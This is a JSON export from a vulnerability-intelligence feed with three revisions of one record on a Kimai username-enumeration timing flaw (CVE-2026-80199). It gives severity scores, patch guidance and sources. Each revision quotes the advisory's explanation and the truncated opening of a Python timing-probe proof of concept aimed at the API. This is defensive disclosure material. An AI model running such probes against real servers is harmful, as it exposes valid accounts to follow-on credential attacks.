{"items":[{"id":"NVI-00002362","kind":"vulnerability","title":"Kimai: Username enumeration via timing on X-AUTH-USER","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-jrc6-fmhw-fpq2","CVE-2026-80199"],"plain_summary":"OSV carries this publisher advisory for kimai/kimai. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.54.0 for kimai/kimai. Confirm the publisher’s latest guidance.","source_ids":["sr-153c688e8622eac555973e81842d9bf7"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-015181de5fdf9bebb41838c90b67cb40"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-08T16:17:45.830Z","value":"3.7 LOW (3.1)","meaning":"disclosure@vulncheck.com severity; no combined Null risk score.","source_id":"sr-70b7e16e105a68fff8c01992adf8ed41"},{"kind":"CVSS","as_of":"2026-10-08T16:17:45.830Z","value":"6.3 MEDIUM (4.0)","meaning":"disclosure@vulncheck.com severity; no combined Null risk score.","source_id":"sr-70b7e16e105a68fff8c01992adf8ed41"},{"kind":"EPSS","as_of":"2026-11-01T12:00:16.000Z","value":"0.308%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.23703. Missing scores are unknown.","source_id":"sr-015181de5fdf9bebb41838c90b67cb40"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-153c688e8622eac555973e81842d9bf7","url":"https://github.com/advisories/GHSA-jrc6-fmhw-fpq2","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-jrc6-fmhw-fpq2","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.969Z"},{"id":"sr-70b7e16e105a68fff8c01992adf8ed41","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80199","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-80199","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T07:24:58.008Z"},{"id":"sr-015181de5fdf9bebb41838c90b67cb40","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-80199","publisher":"FIRST EPSS","observed_at":"2026-11-01T14:28:32.287Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-153c688e8622eac555973e81842d9bf7"],"technology":"kimai/kimai","known_exclusions":[],"conditions_summary":"## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(re","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.54.0"]}],"null_published_at":"2026-11-02T20:21:10.325Z","source_updated_at":"2026-08-27T04:10:44.582Z","source_disclosed_at":"2026-04-17T22:30:59.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:30.969Z"},{"id":"NVI-00002362","kind":"vulnerability","title":"Kimai: Username enumeration via timing on X-AUTH-USER","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-jrc6-fmhw-fpq2","CVE-2026-80199"],"plain_summary":"OSV carries this publisher advisory for kimai/kimai. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.54.0 for kimai/kimai. Confirm the publisher’s latest guidance.","source_ids":["sr-153c688e8622eac555973e81842d9bf7"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-5feb02460f14b3878c801f43d1b0794f"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.308%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.23708. Missing scores are unknown.","source_id":"sr-5feb02460f14b3878c801f43d1b0794f"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-153c688e8622eac555973e81842d9bf7","url":"https://github.com/advisories/GHSA-jrc6-fmhw-fpq2","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-jrc6-fmhw-fpq2","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.969Z"},{"id":"sr-5feb02460f14b3878c801f43d1b0794f","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-80199","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.385Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-153c688e8622eac555973e81842d9bf7"],"technology":"kimai/kimai","known_exclusions":[],"conditions_summary":"## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(re","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.54.0"]}],"null_published_at":"2026-11-01T01:45:38.532Z","source_updated_at":"2026-08-27T04:10:44.582Z","source_disclosed_at":"2026-04-17T22:30:59.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:30.969Z"},{"id":"NVI-00002362","kind":"vulnerability","title":"Kimai: Username enumeration via timing on X-AUTH-USER","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-jrc6-fmhw-fpq2","CVE-2026-80199"],"plain_summary":"OSV carries this publisher advisory for kimai/kimai. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.54.0 for kimai/kimai. Confirm the publisher’s latest guidance.","source_ids":["sr-153c688e8622eac555973e81842d9bf7"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-153c688e8622eac555973e81842d9bf7","url":"https://github.com/advisories/GHSA-jrc6-fmhw-fpq2","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-jrc6-fmhw-fpq2","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.969Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-153c688e8622eac555973e81842d9bf7"],"technology":"kimai/kimai","known_exclusions":[],"conditions_summary":"## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(re","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.54.0"]}],"null_published_at":"2026-10-31T22:00:33.878Z","source_updated_at":"2026-08-27T04:10:44.582Z","source_disclosed_at":"2026-04-17T22:30:59.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:30.969Z"}],"next_cursor":null,"snapshot_revision":"42594"}